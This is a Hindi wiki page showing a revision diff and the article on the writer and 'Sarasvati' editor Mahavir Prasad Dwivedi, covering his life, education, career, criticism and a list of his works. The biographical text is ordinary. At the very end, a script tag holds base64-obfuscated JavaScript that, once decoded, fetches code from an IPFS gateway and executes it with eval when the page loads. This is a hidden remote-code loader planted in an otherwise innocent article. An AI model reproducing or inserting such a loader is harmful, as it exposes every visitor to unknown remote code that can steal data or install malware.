"महावीर प्रसाद द्विवेदी": अवतरणों में अंतर
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - " सन " to " सन् ") |
गोविन्द राम (वार्ता | योगदान) |
||
पंक्ति 19: | पंक्ति 19: | ||
==कृतियाँ== | ==कृतियाँ== | ||
महावीर प्रसाद द्विवेदी की साहित्यिक देन कम नहीं है। इनके मौलिक और अनुदित पद्य और गद्य ग्रन्थों की कुल संख्या अस्सी से ऊपर है। गद्य में इनकी 14 अनुदित और 50 मौलिक कृतियाँ प्राप्त हैं। कविता की ओर महावीर प्रसाद द्विवेदी जी की विशेष प्रवृत्ति नहीं थी। इस क्षेत्र में इनकी अनुदित कृतियाँ, जिनकी संख्या आठ है, अधिक महत्त्वपूर्ण हैं। मौलिक कृतियाँ कुल 9 हैं, जिन्हें स्वयं तुकबन्दी कहा है। इनकी समस्त कृतियों का संक्षिप्त विवरण निम्नलिखित रूप में उपस्थित किया जा सकता है। | महावीर प्रसाद द्विवेदी की साहित्यिक देन कम नहीं है। इनके मौलिक और अनुदित पद्य और गद्य ग्रन्थों की कुल संख्या अस्सी से ऊपर है। गद्य में इनकी 14 अनुदित और 50 मौलिक कृतियाँ प्राप्त हैं। कविता की ओर महावीर प्रसाद द्विवेदी जी की विशेष प्रवृत्ति नहीं थी। इस क्षेत्र में इनकी अनुदित कृतियाँ, जिनकी संख्या आठ है, अधिक महत्त्वपूर्ण हैं। मौलिक कृतियाँ कुल 9 हैं, जिन्हें स्वयं तुकबन्दी कहा है। इनकी समस्त कृतियों का संक्षिप्त विवरण निम्नलिखित रूप में उपस्थित किया जा सकता है। | ||
==== | {| class="bharattable-purple" | ||
|-valign="top" | |||
| | |||
====पद्य (अनुवाद)==== | |||
*विनय विनोद [[1889]] ई.- भृतहरि के 'वैराग्य शतक' का दोहों में अनुवाद | *विनय विनोद [[1889]] ई.- भृतहरि के 'वैराग्य शतक' का दोहों में अनुवाद | ||
*विहार वाटिका [[1890]] ई.- गीत गोविन्द का भावानुवाद | *विहार वाटिका [[1890]] ई.- गीत गोविन्द का भावानुवाद | ||
पंक्ति 28: | पंक्ति 31: | ||
*सोहागरात अप्रकाशित- बाइरन के 'ब्राइडल नाइट' का छायानुवाद | *सोहागरात अप्रकाशित- बाइरन के 'ब्राइडल नाइट' का छायानुवाद | ||
*कुमारसम्भवसार [[1902]] ई.- कालिदास के '[[कुमार सम्भव|कुमार सम्भवम]]' के प्रथम पाँच सर्गों का सारांश। | *कुमारसम्भवसार [[1902]] ई.- कालिदास के '[[कुमार सम्भव|कुमार सम्भवम]]' के प्रथम पाँच सर्गों का सारांश। | ||
====गद्य (अनुवाद)==== | |||
==== | |||
*भामिनी-विलास [[1891]] ई.- पण्डितराज जगन्नाथ के 'भामिनी विलास' का अनुवाद | *भामिनी-विलास [[1891]] ई.- पण्डितराज जगन्नाथ के 'भामिनी विलास' का अनुवाद | ||
*अमृत लहरी [[1896]] ई.- पण्डितराज जगन्नाथ के 'यमुना स्तोत्र' का भावानुवाद | *अमृत लहरी [[1896]] ई.- पण्डितराज जगन्नाथ के 'यमुना स्तोत्र' का भावानुवाद | ||
पंक्ति 54: | पंक्ति 46: | ||
*प्राचीन पण्डित और कवि [[1918]] ई.- अन्य भाषाओं के लेखों के आधार पर प्राचीन कवियों और पण्डितों का परिचय | *प्राचीन पण्डित और कवि [[1918]] ई.- अन्य भाषाओं के लेखों के आधार पर प्राचीन कवियों और पण्डितों का परिचय | ||
*आख्यायिका सप्तक [[1927]] ई.- अन्य भाषाओं की चुनी हुई सात आख्यायिकाओं का छायानुवाद | *आख्यायिका सप्तक [[1927]] ई.- अन्य भाषाओं की चुनी हुई सात आख्यायिकाओं का छायानुवाद | ||
====मौलिक पद्य रचनाएँ==== | |||
*देवी स्तुति-शतक 1892 ई. | |||
*कान्यकुब्जावलीव्रतम [[1898]] ई. | |||
*समाचार पत्र सम्पादन स्तव: 1898 ई. | |||
*नागरी [[1900]] ई. | |||
*कान्यकुब्ज- अबला-विलाप [[1907]] ई. | |||
*काव्य मंजूषा [[1903]] ई. | |||
*सुमन [[1923]] ई. | |||
*द्विवेदी काव्य-माला [[1940]] ई. | |||
*कविता कलाप [[1909]] ई.। | |||
| | |||
====मौलिक गद्य रचनाएँ==== | |||
*तरुणोपदेश (अप्रकाशित) | *तरुणोपदेश (अप्रकाशित) | ||
*हिन्दी शिक्षावली तृतीय भाग की समालोचना [[1901]] ई. | *हिन्दी शिक्षावली तृतीय भाग की समालोचना [[1901]] ई. | ||
पंक्ति 72: | पंक्ति 75: | ||
*अदभुत आलाप 1924 ई. | *अदभुत आलाप 1924 ई. | ||
*महिलामोद [[1925]] ई. | *महिलामोद [[1925]] ई. | ||
*आध्यात्मिकी 1928 | *आध्यात्मिकी 1928 ई. | ||
*वैचित्र्य चित्रण [[1926]] ई. | *वैचित्र्य चित्रण [[1926]] ई. | ||
*साहित्यालाप 1926 ई. | *साहित्यालाप 1926 ई. | ||
पंक्ति 90: | पंक्ति 93: | ||
*संकलन [[1931]] ई. | *संकलन [[1931]] ई. | ||
*विचार-विमर्श 1931 ई. | *विचार-विमर्श 1931 ई. | ||
|} | |||
[[चित्र:Mahavir-Prasad-Dwivedi.jpg|thumb|महावीर प्रसाद द्विवेदी]] | |||
उपर्युक्त कृतियों के अतिरिक्त तेरहवें हिन्दी साहित्य सम्मेलन (1923 ई.), [[काशी नागरी प्रचारिणी सभा]] द्वारा किये गये अभिनन्दन (1933 ई. और प्रयाग में आयोजित द्विवेदी मेला, 1933 ई.) के अवसर पर इन्होंने जो भाषण दिये थे, उन्हें भी पुस्तकाकार रूप में प्रकाशित किया गया है। आपकी बनायी हुई छ: बालोपयोगी स्कूली पुस्तकें भी प्रकाशित हैं। | उपर्युक्त कृतियों के अतिरिक्त तेरहवें हिन्दी साहित्य सम्मेलन (1923 ई.), [[काशी नागरी प्रचारिणी सभा]] द्वारा किये गये अभिनन्दन (1933 ई. और प्रयाग में आयोजित द्विवेदी मेला, 1933 ई.) के अवसर पर इन्होंने जो भाषण दिये थे, उन्हें भी पुस्तकाकार रूप में प्रकाशित किया गया है। आपकी बनायी हुई छ: बालोपयोगी स्कूली पुस्तकें भी प्रकाशित हैं। | ||
10:42, 15 दिसम्बर 2012 का अवतरण
महावीर प्रसाद द्विवेदी (जन्म- 1864 ई., दौलतपुर, रायबरेली ज़िला, भारत; मृत्यु- 21 दिसम्बर, 1938, रायबरेली ज़िला, भारत) हिन्दी गद्य साहित्य के महान साहित्यकार, पत्रकार एवं युगविधायक हैं।
जीवन परिचय
महावीर प्रसाद द्विवेदी का जन्म सन् 1864 ई. में उत्तर प्रदेश के रायबरेली ज़िले के दौलतपुर गाँव में हुआ था। इनके पिता का नाम रामसहाय द्विवेदी था। कहा जाता है कि उन्हें महावीर का इष्ट था, इसीलिए उन्होंने अपने पुत्र का नाम महावीर सहाय रखा।
शिक्षा
महावीर प्रसाद द्विवेदी जी की प्रारम्भिक शिक्षा गाँव की पाठशाला में ही हुई। प्रधानाध्यापक ने भूल से इनका नाम महावीर प्रसाद लिख दिया था। हिन्दी साहित्य में यह भूल स्थायी बन गयी। तेरह वर्ष की अवस्था में अंग्रेज़ी पढ़ने के लिए यह रायबरेली के ज़िला स्कूल में भर्ती हुए। यहाँ संस्कृत के अभाव में इनको वैकल्पिक विषय फ़ारसी लेना पड़ा। इन्होंने इस स्कूल में ज्यों-त्यों एक वर्ष काटा। उसके बाद कुछ दिनों तक उन्नाव ज़िले के रनजीत पुरवा स्कूल में और कुछ दिनों तक फ़तेहपुर में पढ़ने के बाद यह पिता के पास बम्बई चले गए। बम्बई में इन्होंने संस्कृत, गुजराती, मराठी और अंग्रेज़ी का अभ्यास किया।
कार्यक्षेत्र
महावीर प्रसाद द्विवेदी जी की उत्कृष्ट ज्ञान-पिपासा कभी तृप्त न हुई, किन्तु जीविका के लिए इन्होंने रेलवे में नौकरी कर ली। कुछ दिनों तक नागपुर और अजमेर में कार्य करने के बाद यह पुन: बम्बई लौट आए। यहाँ पर इन्होंने तार देने की विधि सीखी और रेलवे में सिल्गनलर हो गए। रेलवे में विभिन्न पदों पर कार्य करने के बाद अन्तत: यह झाँसी में डिस्ट्रिक्ट सुपरिण्टेण्डेण्ट के ऑफ़िस में चीफ़ क्लर्क हो गए। पाँच वर्ष बाद उच्चाधिकारी से न पटने के कारण इन्होंने नौकरी से इस्तीफ़ा दे दिया। इनकी साहित्य साधना का क्रम सरकारी नौकरी के नीरस वातावरण में भी चल रहा था और इस अवधि में इनके संस्कृत ग्रन्थों के कई अनुवाद और कुछ आलोचनाएँ प्रकाश में आ चुकी थीं।
सन 1903 ई. में महावीर प्रसाद द्विवेदी ने 'सरस्वती' का सम्पादन स्वीकार किया। 'सरस्वती' सम्पादक के रूप में इन्होंने हिन्दी के उत्थान के लिए जो कुछ किया, उस पर कोई साहित्य गर्व कर सकता है। 1920 ई. तक गुरुतर दायित्व इन्होंने निष्ठापूर्वक निभाया। 'सरस्वती' से अलग होने पर जीवन के अन्तिम अठारह वर्ष इन्होंने गाँव के नीरस वातावरण में व्यतीत किए। ये वर्ष बड़ी कठिनाई में बीते।
व्यक्तित्व
महावीर प्रसाद द्विवेदी के कृतित्व से अधिक महिमामय उनका व्यक्तित्व है। आस्तिकता, कर्तव्यपरायणता, न्यायनिष्ठा, आत्मसंयम, परहित-कातरता और लोक-संग्रह भारतीय नैतिकता के शाश्वत विधान हैं। यह नैतिकता के मूर्तिमान प्रतीक थे। इनके विचारों और कथनों के पीछे इनके व्यक्तित्व की गरिमा भी कार्य करती थी। वह युग ही नैतिक मूल्यों के आग्रह का था। साहित्य के क्षेत्र में सुधारवादी प्रवृत्तियों का प्रवेश नैतिक दृष्टिकोण की प्रधानता के कारण ही हो रहा था। भाषा-परिमार्जन के मूलों में भी यही दृष्टिकोण कार्य कर रहा था। इनका कृतित्व श्लाघ्य है तो इनका व्यक्तित्व पूज्य। प्राचीनता की उपेक्षा न करते हुए भी इन्होंने नवीनता को प्रश्रय दिया था। 'भारत-भारती' के प्रकाशन पर इन्होंने लिखा था- “यह काव्य वर्तमान हिन्दी-साहित्य में युगान्तर उत्पन्न करने वाला है”। इस युगान्तर मूल में इनका ही व्यक्तित्व कार्य कर रहा था। द्विवेदी जी ने अनन्त आकाश और अनन्त पृथ्वी के सभी उपकरणों को काव्य-विषय घोषित करके इसी युगान्तर की सूचना दी थी। यह नवयुग के विधायक आचार्य थे। उस युग का बड़े से बड़ा साहित्यकार आपके प्रसाद की ही कामना करता था। सन् 1903 ई. से 1925 ई. तक (लगभग 22 वर्ष की अवधि में) द्विवेदी जी ने हिन्दी-साहित्य का नेतृत्व किया।
आलोचक
आलोचक के रूप में 'रीति' के स्थान पर इन्होंने उपादेयता, लोक-हित, उद्देश्य की गम्भीरता, शैली की नवीनता और निर्दोषिता को काव्योत्कृष्टता की कसौटी के रूप में प्रतिष्ठित किया। इनकी आलोचनाओं से लोक-रुचि का परिष्कार हुआ। नूतन काव्य विवेक जागृत हुआ। सम्पादक के रूप में इन्होंने निरन्तर पाठकों का हित चिन्तन किया। इन्होंने नवीन लेखकों और कवियों को प्रोत्साहित किया। राष्ट्रकवि मैथिलीशरण गुप्त इन्हें अपना गुरु मानते हैं। गुप्तजी का कहना है कि “मेरी उल्टी-सीधी प्रारम्भिक रचनाओं का पूर्ण शोधन करके उन्हें 'सरस्वती' में प्रकाशित करना और पत्र द्वारा मेरे उत्साह को बढ़ाना द्विवेदी महाराज का ही काम था”। इन्होंने पत्रिका को निर्दोष, पूर्ण, सरस, उपयोगी और नियमित बनाया। अनुवादक के रूप में इन्होंने भाषा की प्रांजलता और मूल भाषा की रक्षा को सर्वाधिक महत्त्व दिया।
मूल्यांकन
हिन्दी साहित्य में महावीर प्रसाद द्विवेदी का मूल्यांकन तत्कालीन परिस्थितियों के सन्दर्भ में ही किया जा सकता है। वह समय हिन्दी के कलात्मक विकास का नहीं, हिन्दी के अभावों की पूर्ति का था। इन्होंने ज्ञान के विविध क्षेत्रों- इतिहास, अर्थशास्त्र, विज्ञान, पुरातत्त्व, चिकित्सा, राजनीति जीवनी आदि से सामग्री लेकर हिन्दी के अभावों की पूर्ति की। हिन्दी गद्य को माँजने-सँवारने और परिष्कृत करने में यह आजीवन संलग्न रहे। यहाँ तक की इन्होंने अपना भी परिष्कार किया। हिन्दी गद्य और पद्य की भाषा एक करने के लिए (खड़ीबोली के प्रचार-प्रसार के लिए) प्रबल आन्दोलन किया। हिन्दी गद्य की अनेक विधाओं को समुन्नत किया। इसके लिए इनको अंग्रेज़ी, मराठी, गुजराती और बंगला आदि भाषाओं में प्रकाशित श्रेष्ठ कृतियों का बराबर अनुशीलन करना पड़ता था। निबन्धकार, आलोचक, अनुवादक और सम्पादक के रूप में इन्होंने अपना पथ स्वयं प्रशस्त किया था। निबन्धकार द्विवेदी के सामने सदैव पाठकों के ज्ञान-वर्द्धन का दृष्टिकोण प्रधान रहा, इसीलिए विषय-वैविध्य, सरलता और उपदेशात्मकता उनके निबन्धों की प्रमुख विशेषताएँ बन गयीं।
कृतियाँ
महावीर प्रसाद द्विवेदी की साहित्यिक देन कम नहीं है। इनके मौलिक और अनुदित पद्य और गद्य ग्रन्थों की कुल संख्या अस्सी से ऊपर है। गद्य में इनकी 14 अनुदित और 50 मौलिक कृतियाँ प्राप्त हैं। कविता की ओर महावीर प्रसाद द्विवेदी जी की विशेष प्रवृत्ति नहीं थी। इस क्षेत्र में इनकी अनुदित कृतियाँ, जिनकी संख्या आठ है, अधिक महत्त्वपूर्ण हैं। मौलिक कृतियाँ कुल 9 हैं, जिन्हें स्वयं तुकबन्दी कहा है। इनकी समस्त कृतियों का संक्षिप्त विवरण निम्नलिखित रूप में उपस्थित किया जा सकता है।
पद्य (अनुवाद)
गद्य (अनुवाद)
मौलिक पद्य रचनाएँ |
मौलिक गद्य रचनाएँ
|
उपर्युक्त कृतियों के अतिरिक्त तेरहवें हिन्दी साहित्य सम्मेलन (1923 ई.), काशी नागरी प्रचारिणी सभा द्वारा किये गये अभिनन्दन (1933 ई. और प्रयाग में आयोजित द्विवेदी मेला, 1933 ई.) के अवसर पर इन्होंने जो भाषण दिये थे, उन्हें भी पुस्तकाकार रूप में प्रकाशित किया गया है। आपकी बनायी हुई छ: बालोपयोगी स्कूली पुस्तकें भी प्रकाशित हैं।
मृत्यु
21 दिसम्बर सन् 1938 ई. को रायबरेली में महावीर प्रसाद द्विवेदी जी का स्वर्गवास हो गया। हिन्दी-साहित्य का आचार्य पीठ अनिश्चितकाल के लिए सूना हो गया।
|
|
|
|
|
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>